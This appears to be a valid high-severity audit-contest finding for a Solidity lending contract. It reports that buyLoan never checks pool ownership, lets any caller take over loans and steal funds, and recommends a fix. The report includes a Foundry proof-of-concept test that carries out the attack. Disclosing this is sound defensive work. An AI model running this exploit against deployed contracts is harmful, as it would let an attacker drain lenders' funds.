20,000 USDC
View results
Submission Details
Severity: high
Valid

The buyLoan function does not check if the buyer owns the given pool

Summary

In the buyLoan function, which allows lenders to buy active loans from other lender, it is never checked if the new pool is owned by the msg.sender. Therefore anybody can buy loans and is added as lender without even owning a pool, by just passing any valid pool into the parameters.

Vulnerability Details

The following POC code shows the attack path, it can be implemented inside the current test folder of the repo.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TestERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract BuyingLoanWithoutPoolTest is Test {
Lender public lender;
TestERC20 public loanToken;
TestERC20 public collateralToken;
address public attacker = vm.addr(1);
address public user1 = vm.addr(2);
address public user2 = vm.addr(3);
function setUp() public {
lender = new Lender();
loanToken = new TestERC20();
collateralToken = new TestERC20();
loanToken.mint(user1, 1000 * 10 ** 18);
collateralToken.mint(user2, 2000 * 10 ** 18);
}
function test_buying_loan_without_pool() public {
// user1 creates a pool
vm.startPrank(user1);
loanToken.approve(address(lender), 1000*10**18);
lender.setPool(
Pool({
lender: user1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
})
);
vm.stopPrank();
// user2 takes a loan from the pool
vm.startPrank(user2);
collateralToken.approve(address(lender), 100*10**18);
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: lender.getPoolId(user1, address(loanToken), address(collateralToken)),
debt: 200*10**18,
collateral: 100*10**18
});
lender.borrow(borrows);
vm.stopPrank();
// user1 starts an auction to sell the loan
vm.startPrank(user1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.stopPrank();
vm.warp(block.timestamp + 1 days / 2);
// attacker buys the loan without even owning a pool
vm.startPrank(attacker);
lender.buyLoan(0, lender.getPoolId(user1, address(loanToken), address(collateralToken)));
vm.stopPrank();
}
}

Impact

Users are able to buy loans for free and therefore steal funds.

Tools Used

Manual Review, Foundry, VSCode

Recommendations

Check if the lender of the given pool in buy loan equals msg.sender.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!